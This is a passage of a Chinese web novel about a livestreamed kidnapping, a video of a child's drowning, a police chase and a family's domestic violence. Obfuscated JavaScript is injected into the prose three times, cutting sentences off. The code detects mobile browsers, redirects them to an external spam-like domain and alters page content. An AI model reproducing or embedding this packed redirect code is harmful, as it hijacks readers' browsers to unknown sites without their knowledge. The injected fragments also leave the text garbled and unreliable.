在紧张的气氛中,五分钟时间显得格外漫长,却又转瞬即逝,直播屏幕已经调整成了二分屏,一半是罗嵩的直播,一半显示绑匪的微博界面,看直播就能直接看到微博,吃瓜群众不用特意再去翻微博了,评论区还有不少人夸这个绑匪贴心,当然攻击他的人更多。 罗嵩一副快哭了的模样,道:“你问吧,随便问什么,只要是我知道答案的,我一定会如实回答。果果她还好吗?能不能让我看一看她?” “不要惺惺作态,想要她没事就如实回答问题。第一个问题,2004年7月13日下午两点三十二分,你在做什么?” 果然是这件事! 罗嵩早有准备,加上从业十年早就习惯了在镜头前表演,所以很好地控制了面部表情,只装作一副努力回想的模样。 旁边严秀姿却没有他这么好的定力,面色一下变得难看至极。 屏幕左下角评论区的评论不停地向上滚动。 “二十年前的今天在干什么?还精确到几时几分,这绑匪是疯了吗?这谁记得住啊?” “就是,别说二十年,两年前的今天我在干什么我都想不起来。” “这不是故意问些让人答不上来的问题吗?” “二十年前罗嵩才几岁啊,怎么可能记得住?真是的。” “如果罗主播答不上来,果果怎么办?可怜的果果。” “果果如果真的受到伤害,那也是绑匪的错,不是罗主播的错。” “是啊,他问的问题就有问题。” …… 苏钰海盯着投影到墙上的屏幕,眉头深锁,忍不住催促崔胜:“怎么样?定位到具体位置了吗?” “刚定位到昌都市,还需要一段时间。”崔胜额头冒汗,手指头几乎要将键盘敲得冒烟。 直播间,工作人员关了麦克风,晨星公司的谈判团队和公安部的谈判专家在商讨这个问题该怎么回答。 郭阳一脸凝重地盯着罗嵩。绑匪的第一个问题他也感到意外,没想到对方会问二十年前的事。 直播间目前的人数已经攀升到了一千五百万,绑匪的第一个问题也被第一时间转发了出去,在网上引发大量讨论。 这个问题问得太具体,在罗嵩想不起来的情况下,唯一的办法好像只有恳求。 “对、对不起,二十年,真的太久太久了,那时候我才只有十岁,我真的记不住二十年前的今天我在做什么。求求你不要伤害我女儿,换个问题行不行?或者,你要我做别的也可以,做什么都可以,求求你不要伤害我女儿。”罗嵩看着镜头,慌乱无措地流下泪来。 评论区都是对他的同情和对绑匪的咒骂。 郭阳只看着右边的屏幕,那是绑匪的微博页面。 罗嵩刚回答完,那边就弹出了一条微博,好像对方预料到他会怎么回答,早就编辑好了内容就等他回答完就立刻点了发送键一样。 “回答错误。第二个问题,二十年前,你妈为什么带着你从泰市搬到京山市?” 众人微微松了口气,这个问题还是比较好回答的,因为罗嵩的母亲严秀姿就在现场,就算罗嵩不知道,也可以询问她。 感觉到直播间所有人的目光都落在了自己身上,严秀姿的面色更难看了,她握紧了手中的手机,结结巴巴道:“那时,那时,罗嵩的父亲去世了,寡妇门前是非多,我和罗嵩孤儿寡母的,住在农村,既没收入来源,也没人撑腰,日子实在难过。正好有同乡要到京山来打工,我一咬牙,就带着罗嵩跟着他们一起过来了。” 众人商量一番,认为既然是实情,那实话实说应该没问题。 罗嵩复述了严秀姿的回答。 “回答错误。罗嵩,你只剩下最后一个机会了,想好了再回答。第三个问题,罗嵩,你为什么要杀人?” 郭阳看着那行字,瞳孔紧缩。 屏幕前的所有人全都目瞪口呆。 罗嵩表情僵硬。 直播间的人数已经过了两千万,还在飞速增长。 舆论炸了! “罗嵩杀人了?真的假的?” “肯定是真的了,对方要不是知道点什么,怎么会这么问?” “什么叫对方要不是知道点什么怎么会这么问,对方看到罗嵩杀人了?如果看到了,怎么不去报警?搞这一出什么意思?” “就是,我看这个人居心叵测,就是见不得罗主播红,故意来给罗主播抹黑泼脏水的。” “仇富呗,有什么好说的。” “可是罗嵩的表情很不对劲。” “有什么不对劲,不过是愣住了而已。你没杀人,对方忽然问出这么惊悚的问题,你能谈笑如常?” …… 严秀姿觉得自己喘不过气来,想过去把罗嵩从镜头前拽走,却又知道一定会被现场的这些人拦住。 脑子里一片混沌,她举起手机想给罗嵩发信息,众目睽睽下她也不知道能发些什么,点亮屏幕之后,发现有两条陌生号码发来的短信,因为进来之后被工作人员要求手机调成静音,所以她一开始没发觉。 第一个短信是一张微信截图,日期是7月10日,收发信息的双方信息都被模糊了。 微信一方发了一张果果失踪当天拍的照片,下面附言:别认错了。 另一人回了一个字:好。 第二条短信开头是转账信息,后面附言:我知道绑走你家孩子的人是谁,往这个账号转二十万,我就把完整的信息发给你,罗主播就不用回答这个问题了。 严秀姿立刻给他提供的那个账号汇过去二十万,把汇款成功的页面截图下来发给对方,要求对方把完整的微信信息发过来。 “我,我不知道你在说什么?为什么要说我杀了人?我一向奉公守法,怎么会去杀人?”直播间的气氛有些诡异,罗嵩不敢往四周,尤其是几个刑警的方向看,芒刺在背的感觉促使他不等谈判专家们商议出对策便急着为自己辩解。 严秀姿心急如焚,看对方没再回信,就拨了电话过去,结果发现电话打不通,应该是对方收了款就把她给拉黑了。 她又急又气,顾不得那许多,猛的站起身来高举着手机大喊道:“小嵩,别再被对方戏弄了,刚才绑匪找我要了赎金,我已经给他汇过去了。警察,快,这里有他的收款信息,快去抓他!” 杨琳忙接过她的手机走到郭阳身边。 这时“玛丽安0723”又发布了一条最新微博。 “罗嵩,你果然还是那么虚伪无耻,毫无人性,为了保全你自己,全然不顾你女儿的性命,既然这样,我成全你!” 下面是一个视频。 所有人都盯着那个视频,视频像素有些低,比较模糊,好像是隔着段距离拍摄的,看不清视频中两人的面目,但仍可以辨别出视频中那个小女孩就是果果,她穿着她失踪时穿的那条胸口有彩虹的白色无袖裙子。 她原本蹲在地上玩,一个男孩走到她身边,蹲下来一边跟她说话一边朝着河边指指点点,然后牵着她站起身来,背对着镜头往河边走。 离河边还有一段距离时,果果停住了脚步,转身往回跑。 比她高了近两个头的男孩急忙追上她,拽住她的胳膊,弯腰跟她说了些什么,然后女孩子就又被他牵着往河边去了。 到了河边,果果往后退了两步,好像有点怕靠近河水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303792|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 男孩扭头往四周观望了下,突然毫无预兆地把她用力往河里一推。 屏幕前好多人在这一刻都情不自禁地发出了惊呼声,用手掩住嘴,看着那被推入河里的小女孩在那挣扎求生,河面溅起水花。 而那个男孩子只是静静地站在河边看着,时不时地扭头观察一下四周,然后继续看着女孩溺水,直到水面再无动静。 男孩转身往回走,若无其事的模样,脚步轻快,还做了个踢石子的动作,越走越近,越走越近,直到那张脸清晰地出现在镜头中。 网上再一次炸了。 “这是个谋杀视频,如假包换的谋杀证据!” “找到这个毫无人性的小畜生,他杀了果果,可怜的果果!” “找到又能怎样,看他身高就是个未成年,不必付刑事责任的。” “未成年三个字凭什么成为免死金牌?这畜生是故意杀人,他知道他自己在干什么,推果果入水前观察四周有没有人的动作就能看出来,他知道自己在杀人。” “从小就这么心狠手辣,一看就是反社会人格,长大了也是社会不安定因素,为了大众安全,建议马上抓起来判处死刑!” “死刑!” “死刑!” “支持死刑!” “人渣!畜生!” “这个视频会不会是假的?现在已经天黑了,视频中还是白天。” “不是假的,微博发布地址在西藏,西藏十点才天黑。” …… “找到了,是昌都市波罗乡江达县附近的一座基站!”崔胜忙着定位没有分心看直播,终于定位成功后,站起来向苏钰海汇报结果,却见办公室里众人都是一副沉痛表情,茫然问道:“怎么了?” 苏钰海表情凝重,向他确认:“绑匪明明能隐藏自己的ip却不隐藏,会不会又是个障眼法?确定是这个地址吗?” 崔胜道:“地址绝对没错,对方这次没用tor网络的原因,在我看来只有两个,一,条件不允许。使用tor网络网速会显著降低,网速过慢会导致加载失败,定位到的地址是那边的一座4G基站,网速可能不支持他使用tor网络。二,这次发帖的人,和上次发帖的人不是同一个。” 确定地址没错就行了,苏钰海拿着手机走出办公室,播出电话:“喂,王局,是我,对,疑犯定位在昌都市波罗乡江达县附近,需要那边的兄弟单位协助……对,很紧急,因为定位到的地点是一个基站,疑犯可能仍在逃窜中……” 短短几分钟时间,“玛丽安0723”发布的那条微博下面就出现了几千条恶评,都是在骂那个杀人的男孩子的,评论数量还在以肉眼可见的速度飞速增长。 罗嵩瘫坐在镜头前,一个劲地哭。 直播间都在辱骂绑匪和那个杀人的男孩,为果果哀悼,安慰罗嵩,要求警方尽快破案。 “郭队,你先别难过,这视频不一定是真的,视频中的小女孩也不一定是果果,说不定……”从最初的震惊状态挣脱出来,杨琳迅速恢复冷静,看郭阳面色不对劲,试图安慰。 “别说了。”知道那条裙子是李亭自己为罗曼果做的郭阳,几乎可以确定视频中那个小女孩就是果果,因为在这种情况下,撞衫的可能性实在是太小了,几乎为零。 人质就这么被溺死了,作为刑警,他无能为力,就这么眼睁睁地看着人质被溺死了…… 郭阳握紧拳头,牙根咬得发酸——就算要追到天涯海角,他也一定要把相关案犯给抓回来! 这时他的手机忽然震动了一下,显示有新信息,他点开一看,双眼顿时瞪大,心里憋着的气一下子就泄了个精光。 看完信息,他迅速回拨过去,提示无法接通。 他将信息转发给了苏钰海,并给他打了个电话。 “郭队,发生什么事了?”杨琳问道。 郭阳抬头看向镜头前还在向粉丝哭诉的罗嵩,道:“去把他铐上,带走。” 22.第 22 章 “郭队长,我是李亭。7月9日凌晨,罗嵩在西郊废钢厂将朱国良杀害,焚尸掩埋。我已将罗嵩杀害朱国良时所穿的衣服裤子鞋子,朱国良的手机,还有罗嵩杀人当夜回到严秀姿家的监控录像全部快递给你,明天一早就到,记得查收。” 苏钰海收到郭阳转发的信息,立刻组织警力带着警犬赶往西郊废钢厂寻找尸体。 郭阳带着杨琳和罗嵩回到队里。 苏钰海看到他就说:“朱国良的案子交给我,根据小崔的定位,我已经叫王局联系昌都市波罗乡那边的兄弟单位协助我们追捕疑犯了,你现在马上带人赶过去。” “好,杨琳,你留下负责追查严秀姿刚才提供的信息。”郭阳对杨琳道。 虽然崔胜定位到了发微博那家伙的大概位置,但万一李亭没跟他在一起呢?所有线索都不能放过。 杨琳点头。 郭阳叫上李冲和另外两名警员正要出发,外头闯进来一个蓬头散发的女人,满面泪痕神色惊慌。 抬头看到郭阳,她冲过来一把抓住郭阳的胳膊,哭喊道:“是李亭,李亭绑走了果果,是我害了果果。”说完就双腿一软瘫到地上去了。 郭阳和李冲一起把她扶起来,安置到一旁的椅子上。 郭阳道:“我们已经知道了,正在全力追捕李亭,你如果有什么线索可以提供,可以跟我们杨警官说。” 杨琳过来扶住她。 吴晓敏擦了把眼泪,看他们一伙人要出门,猛的站起身,大声问道:“你们现在要去抓人吗?我也去。” 杨琳忙拉住她,劝道:“吴女士,刑警办案有一定的危险性,你还是回去等消息吧,有了结果我们一定第一时间通知你。” “果果都没了,我还怕危险吗?”吴晓敏歇斯底里地大叫,“你们可以不带我,我自己开车跟着总行吧?”说完就要冲出去开车。 杨琳当然不可能让她在这种情况下开车跟着郭阳他们,死死地拽住她。 郭阳想了想,这桩案子终究是他们警察失职,没能及时解救人质。既然孩子已经没了……让她尽快亲眼看到自己的孩子,也是好的。 而且从京山市开到昌都市,就算不休息也需要二三十个小时,如果兄弟单位动作够快,在他们赶到之前李亭和余伟忠一行应该已经落网了。 “杨琳,放开她。” 郭阳看着吴晓敏,道:“吴女士,我们可以带你一起去,但你要保证不能再像现在这样情绪失控影响我们办案,一切都要听我安排。” 吴晓敏点头不迭,“我保证一切听你们安排,保证不给你们添乱。” 郭阳他们带着吴晓敏出门,上了一辆BJ40,李冲开车,郭阳坐副驾驶,另外两名警员和吴晓敏坐后排,驶离了公安局。 余伟忠和张苏彤看完了直播,都是一脸懵逼。 张苏彤看了看自己怀中的小女孩,问余伟忠:“孩子明明在我们这里,那个视频是怎么回事?” “不知道。”余伟忠此刻脑子里也是一团浆糊,眼角余光看到似乎有村民向这里靠近,他启动车子驶过水泥桥,继续往西藏的方向开。 另一辆车里,罗三丫却没急着去追他们,目光直勾勾地看着身边的李亭,问:“那个视频……” 李亭合上电脑,扭头看她,眼中一片漆黑,道:“你认出来了?” 两个孩子面目模糊,罗三丫想不起来了,可是她记得那条河,那毕竟是她生活过十几年的地方,虽然离开已久,但那里的地形地貌一直烙印在她的脑海里。 一个藏民敲响了她们的车窗,李亭应付了几句,让罗三丫开车,继续跟踪那辆坦克300. “到底是怎么回事?视频中那两个孩子,是谁?”罗三丫心中有个猜测,但她不敢往深了去想。 “先报警吧,这事待会儿再说。”李亭原本就一直拿着罗三丫的手机看果果定位,此时便直接点开短信开始编辑,收件人一栏填了郭阳的手机号。 郭阳一行的车里。 “吴女士,现在冷静下来了吗?如果冷静下来了,给我们讲一讲李亭的事。”郭阳道。 吴晓敏擦了下红肿疼痛的眼睛,又捋了把披散下来的碎发,沉默了五六秒,哑着嗓音道:“离婚的时候,我没想过罗嵩会跟我抢果果的抚养权,事实上,对于果果的抚养权,他也确实无所谓。是严秀姿,她纯粹是为了折磨拿捏我,才非要罗嵩来跟我争果果的抚养权。她是那种……因为罗嵩对虾过敏,就不许果果吃虾;因为怕果果以后学艺术类专业要多花钱,就不许果果画画的人。这样的人,你能相信她要果果是因为她是果果的奶奶,是因为她爱果果吗? “我和罗嵩很久之前就分居了,严秀姿不照顾果果,白天都是我请的育儿嫂和保姆照顾果果,给她做饭,我下班后再去把果果接到我的住处。我提出可以直接让果果住在我家里,这样不用这么麻烦天天接来接去,她不许,我不想让果果看到我和她奶奶天天吵架,只能忍耐。可是自从我和罗嵩开始打离婚官司,她就不让我见果果了。我原先请的育儿嫂和保姆都被她辞退,她自己重新找了保姆,找我要钱支付工资,说她自己不会做饭,如果我不出这个钱,就让果果天天吃泡面。她也不许保姆带果果来见我。我知道她每天都要去打牌,之前有几次趁她不在家去见果果,被她从家里的监控中看到了,打电话给我破口大骂,我听到果果在电话那头撕心裂肺地哭。说实话,当时我杀了她的心都有了。” 说到这里,吴晓敏气息有些不稳定,停顿了一下,整理好情绪后继续道:“三个多月前的一个周末,我接到一个陌生电话,那是李亭打给我的第一个电话。她说果果很想我,问我有没有时间见果果一面。我当然有。我去见了果果,也正式认识了李亭。我带着果果玩了好几个小时,那是我们母女久违的快乐时光。我担心严秀姿知道了要骂果果辞退李亭,李亭说只要果果不说严秀姿就不会知道,然后我们一起教果果怎样瞒住她奶奶。 “李亭来了之后,我和果果就能经常见面了。在和果果相处的时候,我从果果口中得知,李亭对她很好,奶奶不让她做的事,比如说吃虾,画画,李亭都会偷偷带她去做,并且告诉她是妈妈拜托她这么做的,生活上也把她照顾得很好。我问李亭为什么要这么做,她说她只是可怜果果,她想让果果知道,就算爸爸奶奶不够爱她,她还有妈妈,妈妈很爱很爱她。我很感激她为我们母女做的这一切,想给她一笔钱作为报答,她婉拒了。 “一个半月前,我的离婚诉讼一审审结,果果的抚养权被判给了罗嵩。判给罗嵩,就意味着果果还要继续跟严秀姿生活在一起,我完全不能接受这个结果,立刻提起了上诉,但我的律师告诉我,如果不能提供罗嵩不适合继续抚养果果的证据,二审抚养权改判的几率几乎为零。我说我有罗嵩婚内出轨的证据,律师说这个证据只能证明罗嵩个人作风有问题,不能证明他不适合继续抚养果果。 “就在我几乎要绝望的时候,李亭给了我一个建议。她说,我们可以策划一次事故,来证明罗嵩和严秀姿不适合继续抚养果果。首先,她会利用她在严秀姿家做保姆的便利,在家里偷偷安装另一个监控,把严秀姿漠视责骂甚至虐待果果的行为拍下来,这种视频准备得差不多的时候,她会让她的一个朋友把果果带走藏起来,造成果果走失的假象。 “作为头部主播,罗嵩在网上人气很高,他女儿失踪的消息一旦传出,一定会在网上引起轩然大波,在所有人都关注这件事的时候,再把严秀姿虐待果果的那些视频发到网上去,如果罗嵩的粉丝为罗嵩说好话,为严秀姿洗地,我就把罗嵩婚内出轨的证据再发上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吴晓敏擦了把脸上的泪,道:“当时我就决定了,按李亭说的做。我问她关于果果失踪那一段的细节安排,她不让我问,说为了保护她那位朋友,唯一可以向我保证的是,她那位朋友也是一位有女儿的妈妈,会给果果很好的照顾,果果的安全绝对可以保证。她让我去重新办张手机卡给她用,这个号码只跟我一个人联系,以后就算警察调查起来,只要我不说,就查不到我和她的联系。她要求我在果果失踪之后不能再跟她联系,以免被警察怀疑。我按她说的做了,可是我没想到,事情的发展完全超出了我的预料。” 吴晓敏又哭了起来,看着副驾驶座上的郭阳道:“郭队长,今天视频里那个小女孩不是果果对不对?你告诉我,那不是果果。” 郭阳心情沉重,但也只得道:“看不清脸,不能确认那是果果。” 吴晓敏咬住下唇,却也压不住喉间发出的哽咽。 郭阳等她哭了一会儿,问:“你现在还能联系上李亭吗?” 吴晓敏摇头,“我一直在给她打电话,她要么不接,要么无法接通。” “号码给我一下。” 吴晓敏翻出号码递给郭阳。 郭阳记录了号码,发给崔胜。 “给你和罗嵩发威胁短信,包括在网上发那样的微博,也在你们的计划之中吗?”郭阳问吴晓敏。 “我们没有详细商量过这方面的事,每次我提起,李亭总是说一切都交给她,让我不要过多参与,因为一旦果果失踪,严秀姿一定会怀疑我,我知道的越少越不容易露出破绽,我就听了她的。后来看到那条微博,虽然我也觉得有些不对劲,但心里始终存着一分侥幸。这几天我一直在犹豫要不要向你们坦白,我在网上匿名咨询过律师,律师告诉我,如果在争夺抚养权的时候,夫妻一方藏匿孩子,那藏匿孩子的那一方很可能会失去抚养权。我怕我向你们坦白后会彻底失去果果的抚养权,就……都怪我,都怪我鬼迷心窍,如果果果真的出了什么事,我该怎么活下去?”她呜呜咽咽地哭道。 “你确定对于李亭绑架果果的事情始末没有隐瞒了吗?比如说,你有没有什么高学历懂电脑的同学,帮助你配合她布这个局?”郭阳问。 吴晓敏抬起泪眼,愣了一会儿,迷茫道:“没有。” “那这件事情说不通啊。”郭阳转身看着后座中间的吴晓敏,道:“难道你没有发现,你在这件事情中没有起任何作用,换言之,李亭自己就能完成对果果的绑架,完全不必冒着被你出卖的风险告诉你。那她为什么要让你参与进来呢?” 23.第 23 章 吴晓敏显然从未考虑过这一点,呆愣了半晌,道:“她问我要二十万……” “果果失踪第二天她就发了信息给你和罗嵩,说他们绑架了果果,如果她不把这件事告诉你,而是在绑架果果后问你要赎金,难道你不愿意支付比二十万更多的赎金吗?很明显,事情发展到现在这个地步,你也不可能支付给她你们说好的那二十万了,所以,求财这个理由根本不能成立。她邀请你参与,应该是你能帮助她完成她独自完不成的那一步。”郭阳盯着吴晓敏。 “我都主动投案了,没必要再向你们隐瞒什么。”吴晓敏有种百口莫辩的感觉。 “我没说你故意隐瞒什么,我是要你回想细节,她冒险告诉你她的计划,一定是你能在非常关键的部分帮到她。”郭阳道。 吴晓敏垂眸想了半天,摇头道:“我真的想不出有什么特别的,就像你说的,她实施这个计划,似乎完全不需要我参与。” “关于她那个同伴,或者果果可能的藏身地,你还能想到些什么?” “她没告诉我任何信息,其实现在回想起来,那时她的态度是比较强势的,只是那时的我深陷对严秀姿的仇恨和对果果抚养权的渴望中,觉得不舒服也没往深处去想,毕竟她是唯一帮助我的人。哦,今天,就在直播前,有人给我发信息,说知道果果在哪儿,一开始让我往一个账户名叫姜丽丽的卡上打三十万,因为对方卡限额没能打进去,后来又叫我往一个叫姜洪彪的卡上打三十万,我给他打了,他就把我拉黑了。”吴晓敏道。 郭阳看着吴晓敏递来的手机上的信息,跟诈骗严秀姿的是同一个人,用的微信图都是同一张。 “这个人怎么会有你的联系方式?”郭阳问。 “联系不上李亭,我又不敢去自首,今天上午我就在网上发布了悬赏,赏金三十万。” 这时郭阳的手机忽然响了一下,来了一条短信。 新兴家园23栋204号,姜洪彪正一头热汗地收拾着行李。 五十万进账后,他心花怒放,出去逍遥了一番,但不管在哪儿,耳边听到的都是关于罗嵩女儿被杀的议论,事情闹得这么大,他开始害怕了,决定连夜出去躲躲。 刚拉上行李箱的拉链,门铃响了。 他瞄了眼手机上的时间,心里暗暗警惕,没应声。 对方一直摁,惊动了姜丽丽。 “谁啊?”小姑娘穿着睡衣走到门后,透过猫眼往门外看了看,门外一片漆黑,估计是门灯又坏了。 “楼下的,你家卫生间漏水,漏到我家了。”门外有个女人道。 姜丽丽转头看了眼,看到她爸房里的灯亮着,估计刚才是他在卫生间洗澡。 她厌恶地皱了皱眉,把门打开。 杨琳等几个刑警一拥而入,瞬间就把姜丽丽给控制住了。 “姜洪彪呢?”杨琳问。 姜丽丽看到他们一个个都举着枪,都快吓傻了,下意识地扭头看向姜洪彪的房间。 两名男刑警冲过去,一脚踹开房门,把准备跳窗逃跑的姜洪彪拽了下来,押到客厅。 “罗曼果人在哪里?”杨琳喝问。 “不关我的事,是我老婆罗三丫,那张图是从她微信上截下来的。她已经离开家几天了,你们去抓她,不关我的事!”这阵仗,姜洪彪都快吓尿了,哆嗦着说。 这几天网上到处都是罗嵩女儿被绑架的帖子,今晚的直播姜丽丽也看了,知道事情有多严重,见姜洪彪居然把屎盆子扣在她妈头上,她顿时也不害怕了,瞪眼大骂道:“你们别听他胡说,我妈一向遵纪守法,绝不会做这种事,倒是他,吃喝嫖赌不务正业,肯定是他做的,想让我妈背锅。” “TMD姜丽丽,你是不是我女儿,这么想我死?那件事就是你妈做的,我亲眼看到别人给她发失踪小女孩的照片,还叫她别迟到,你妈回了个‘好’字!”姜洪彪大声道。 “你少在那儿胡说八道,我妈怎么可能让你看她的手机?你俩关系有多差自己心里没点数吗?警察同志,抓他,一定是他做的,我妈不可能做这种事,就算是为了我,她也不可能去绑架一个小女孩。”姜丽丽激动道。 “7月10号,我记得日子,就是7月10号那天,我跟我老婆之间发生了点摩擦,然后她不小心昏倒了,我翻她手机的时候看到的那条微信。” 姜洪彪说得轻描淡写,姜丽丽却明白他说的是什么意思,当时眼睛就红了,想冲过去打他,却被刑警牢牢地控制住。 杨琳将他的手机举到他面前,道:“你说的是这张截图?这张截图显示你截取的时间,是昨天下午16:33分,可不是你说的7月10号。” 姜洪彪咽了下口水,道:“当时绑架案还没发生,我也不知道那条微信是什么意思,所以没截图。后来绑架案发生后,我看到网上失踪小女孩的照片,跟她微信上收到的是一模一样的,才知道原来是她做的。我就、就用自己和朋友的手机发了几条微信,截图下来,P了一下,但是我保证,我截图的这张图片,绝对跟当时我在她手机上看到的一模一样,真的!” “你混蛋!”姜丽丽在一旁哭着骂道。 杨琳用姜洪彪的手机拨罗三丫的电话,显示无法接通。 “你用我手机打她电话她是不会接的,你得用我女儿手机打。”姜洪彪在一旁热心地提醒道。 杨琳让姜丽丽去把她手机拿来。 姜丽丽进了卧室,拿起放在床头柜上的手机,打给罗三丫,也显示无法接通。 “先带回队里。”杨琳道。 到了刑警队,姜洪彪被带去了审讯室,就算罗曼果绑架案跟他没关系,一个诈骗罪是逃不掉了。 姜丽丽被带去了询问室,杨琳给她倒了杯水。 “我妈妈不会做那种事的,她学历低,不懂法,但是她懂父母犯法子女不能考公。就为了以后我能多一条考公的路可以走,她愿意无底线地让着姜洪彪,就怕他走投无路了去犯罪,影响我的前途。她性格软弱善良,做不出绑架那么小的女孩子还把她撕票的事来,警察姐姐,你相信我,我妈真的不是你们要找的人。”姜丽丽睁着通红的眼睛看着杨琳,泪光盈然道。 杨琳点点头,道:“你先别难过,现在只是询问情况。你妈妈,认识一个叫李亭的人吗?” 姜丽丽愣了一下,点头道:“认识,她们是初中同学,也是很好的朋友。” “最近几个月,你妈妈有没有见过她?” “见过,两个多月前,有一天我妈很高兴地打电话给我,说她在送外卖的时候遇见了她快二十年没见的朋友,就是李亭阿姨,后来李亭阿姨还请我和我妈妈吃了饭。” “吃饭的时候李亭身边有没有别人,或者,她有没有和你们提到过别人?” 姜丽丽思索了片刻,摇头道:“没有,她只是和我妈回忆了她们初中时发生的那些事。” “在罗曼果绑架案发生前,李亭有没有找过你妈妈?” “我不知道,我上高一,平时住校,不住家里,7月10号才放暑假。” 杨琳心中微动,问:“你最后一次看到你妈妈是什么时候?” “就是7月10号。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在外人面前不好意思拿出来给我,证明你也知道这东西很幼稚,不适合送给现在的我。既然这样,为什么还要拿出来?我今年十六了,不是六岁。” “哦。”被女儿这样不留情面地嫌弃,罗三丫也没生气,只是讷讷地将那颗爱心放到一旁,坐下来剥虾。 她把剥好的虾肉放到姜丽丽碗里,姜丽丽夹起那块虾肉丢回了她碗里,皱着眉头盯着她道:“你不用做这些我自己能做的事情来讨好我,我想要什么你清楚得很。” “丽丽,你没经历过父母离异,你不知道单亲家庭的孩子心里有多苦……” “你觉得单亲家庭的痛苦必须经历过父母离异才能体验吗?从小到大,我过的不就是单亲家庭孩子的生活?还不如单亲家庭的孩子呢,真正的单亲家庭,不会有个多余的人像诈尸一样动不动就跳出来恶心人。” “可、可如果离婚了,你就没有爸爸了。” “爸爸?你以为我很稀罕吗?那个人,除了吃喝嫖赌家暴你问你要钱,他为这个家庭贡献过什么?除了最开始爽了一下,他为我的出生和成长付出过什么?你觉得你苦苦维持婚姻是为了让我有个完整的家庭,可在我看来,这一切都不过是你离不开男人的借口而已!” 看着罗三丫的双眼迅速被泪花淹没,姜丽丽收回咄咄逼人的目光,看着碗里的米饭,握着筷子的手指发紧。 这时门口传来钥匙开锁的声音。 罗三丫迅速抬手擦了擦眼睛,拿起筷子吃饭。 姜洪彪回来了。 24.第 24 章 姜洪彪关上门,带着满身麻将馆的烟臭味走到饭桌前,一巴掌拍在姜丽丽的后脑勺上,骂道:“回家连个招呼都不知道打,成绩再好也是没教养的东西!” 姜丽丽咬着嘴唇,没吭声。 罗三丫欲言又止,她知道如果她这会儿指责他不该拍女儿脑袋,一定会再次爆发家庭大战。 姜洪彪在桌旁空座上坐下,扫一眼饭桌,“排骨玉米汤,白灼基围虾,香菇菜心,光看着嘴里就淡出鸟了。去,到超市旁边的熟食店切点酱牛肉,买点鸡爪,再到超市给我带一瓶海之蓝,两包五香花生米回来。”这句话是对罗三丫说的。 罗三丫还没动,姜丽丽抬起脸来,看着姜洪彪道:“你想吃自己不会去买吗?不会是没钱吧?” “你妈赚的钱有我的一半,我花的就是自己的钱,这点道理都不懂,你书读到狗肚子里去了?”姜洪彪瞪着姜丽丽斥道。 姜丽丽讽刺地笑了一下,道:“什么道理?十几年来都跟个生活不能自理的弱智一样靠老婆养着,还要吆五喝六,软饭硬吃的道理?” “你放什么屁!没大没小的东西,给你脸了?”姜洪彪腾的站起身一巴掌向姜丽丽扇过去,却被罗三丫眼疾手快地一把扯住。 罗三丫双眼含泪死死地盯着他,声息喑哑颤抖:“我跟你说过的,我的底线就是,你不能动孩子。” “你有底线,我他妈没底线?看看这个白眼狼被你教成什么样了?自己的老子也敢骂!是不是你撺掇的,说!是不是你?”姜洪彪一把薅住罗三丫的头发,拳头就照她脸上砸了过去。 “放开我妈!”姜丽丽在一旁拼命捶打撕扯姜洪彪,但论力气,女人和男人还是相差太悬殊了。 看罗三丫被打得不停惨叫,姜丽丽热血上涌,抄起桌上自己的饭碗就朝姜洪彪的后脑勺砸了上去。 碗掉在地上,碎了。 姜洪彪抬手摸了下后脑勺,手指上一点殷红。 他回过身,惊愕又愤怒地看着姜丽丽,伸手就去抓她,嘴里骂道:“你他妈真的要造反是不是?敢打你老子?” 罗三丫从后头一把抱住他,冲姜丽丽大喊:“丽丽,快走,快走啊!” 姜洪彪反手抓住罗三丫的头发就把她的脸摁进了菜盘子里。 嘣—— 姜丽丽脑子里那根名为理智的弦彻底崩断了。 她冲进厨房,从案板上拿起菜刀。 回到客厅时,看到姜洪彪还在饭桌旁殴打罗三丫,她举着刀上前就要砍姜洪彪。 罗三丫余光瞥见,吓得心胆俱裂,趁姜洪彪松手,一把搡开他过去拦住姜丽丽。 “丽丽,不能这样做,快把刀给我。”罗三丫哭着道。 姜洪彪咽了口唾沫,把脖子一梗,道:“吓唬谁呢?来,你来砍,我看你有这个胆子!你个赔钱货,白眼狼!” “我还未成年,杀了他也不会判死刑的,妈你放开我!”姜丽丽疯狂地喊道,见实在挣脱不了罗三丫,竟劈手将菜刀向姜洪彪削过去。 姜洪彪动作敏捷地往旁边一闪,看着砍到墙上又弹到地上的菜刀,心口狂跳,瞪着姜丽丽:“你来真的?” “不然呢?有种你别躲啊怂货!” 罗三丫抱着姜丽丽扭头朝姜洪彪叫道:“你快走吧!” “你们给我等着!”姜洪彪捂着后脑勺悻悻地出了门,把门砰的一声甩上。 罗三丫一下子脱了力,腿软得几乎要坐到地上去。 她一手撑着饭桌,抬起她那张被打得红肿的脸看着姜丽丽。 姜丽丽也看着她。 罗三丫初中辍学,生她的时候才十八岁,是她们班上妈妈中最年轻的一个,可她看上去并不最年轻。 她以前开出租,现在送外卖,常年风吹日晒让她的皮肤松弛而黝黑,眼周和颧骨上布满雀斑,毛孔粗大。额前原本干燥蓬着的碎发因为方才那番厮打被鲜血和菜汤粘在了皮肤上,凌乱狼狈。 “你真的这么恨你爸?恨不得杀了他?”罗三丫问。 姜丽丽一脸冷漠,“我恨他,但我更恨你。如果你和他一样,我现在根本不会这么痛苦。作为一个女人,你真是懦弱又可悲!” 